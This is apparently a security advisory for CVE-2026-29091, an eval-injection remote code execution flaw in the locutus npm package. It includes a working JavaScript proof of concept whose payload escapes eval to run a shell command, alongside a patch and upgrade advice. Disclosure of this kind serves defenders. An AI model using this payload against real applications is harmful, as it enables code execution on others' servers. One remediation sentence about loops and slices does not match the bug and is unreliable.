CVE-2026-29091

Details

A Remote Code Execution (RCE) flaw was discovered in the locutus project (v2.0.39), specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval().

Technical Details

The vulnerability is in the call_user_func_array function in src/php/funchand/call_user_func_array.js, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).

The developers applied a regular expression check (validJSFunctionNamePattern) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: func = eval(cb[0] + "['" + cb[1] + "']"). This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.

// src/php/funchand/call_user_func_array.js (Lines 31-35)

if (cb[0].match(validJSFunctionNamePattern)) {
  // biome-ignore lint/security/noGlobalEval: needed for PHP port
  func = eval(cb[0] + "['" + cb[1] + "']")
}

PoC

This PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.

const path = require("path");
const fs = require("fs");

const vulnFilePath = path.resolve(
  __dirname,
  "./src/php/funchand/call_user_func_array.js"
);

if (!fs.existsSync(vulnFilePath)) {
  console.error("error target file not found");
  process.exit(1);
}

console.log("loading target");
const call_user_func_array = require(vulnFilePath);

const payload = "']; require('child_process').execSync('id').toString().trim(); //";

console.log("payload set");

try {
  console.log("run");
  call_user_func_array(["Date", payload], []);
  console.log("fail no error");
} catch (e) {
  const msg = e.message;
  if (msg && msg.includes("uid=")) {
    console.log("pwn");
    const proof = msg.split(" is not a valid function")[0];
    console.log("out " + proof);
  } else {
    console.error("fail unexpected");
    console.error(msg);
    process.exit(1);
  }
}

Resources

https://cwe.mitre.org/data/definitions/95.html

https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!

Author: Tomas Illuminati

If exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.

This flaw has been exploited in practice, but it is not a "drive-by" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.

Finally, if an attacker can control cb[0] without regex constraints, they could use global or process directly. However, Locutus protects cb[0]. This cb[1] injection is the only way to bypass the intended security controls of the library. It is a "bypass" of the library's own protection.

CVE-2026-29091 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.0); upgrading removes the vulnerable code path.

Kodem intelligence

Update the loop to capture the value correctly or use the index to reference the slice directly.

// src/php/funchand/call_user_func_array.js (Lines 31-35)

if (typeof cb[0] === "string") {
  if (cb[0].match(validJSFunctionNamePattern)) {
    // biome-ignore lint/security/noGlobalEval: needed for PHP port
    // func = eval(cb[0] + "['" + cb[1] + "']");
    var obj = null;
    try {
      obj = eval(cb[0]);
    } catch (e) {}
    if (obj && typeof obj[cb[1]] === "function") {
      func = obj[cb[1]];
    }
  }
} else {
  func = cb[0][cb[1]];
}
return func.apply(null, parameters);

And maybe after a better remediations is refactor call_user_func_array to resolve global objects using global[cb[0]] or window[cb[0]].

1. What is CVE-2026-29091? CVE-2026-29091 is a high-severity security vulnerability in locutus (npm), affecting versions <= 2.0.39. It is fixed in 3.0.0.
2. How severe is CVE-2026-29091? CVE-2026-29091 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of locutus are affected by CVE-2026-29091? locutus (npm) versions <= 2.0.39 is affected.
4. Is there a fix for CVE-2026-29091? Yes. CVE-2026-29091 is fixed in 3.0.0. Upgrade to this version or later.
5. Is CVE-2026-29091 exploitable, and should I be worried? Whether CVE-2026-29091 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-29091 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-29091? Upgrade locutus to 3.0.0 or later.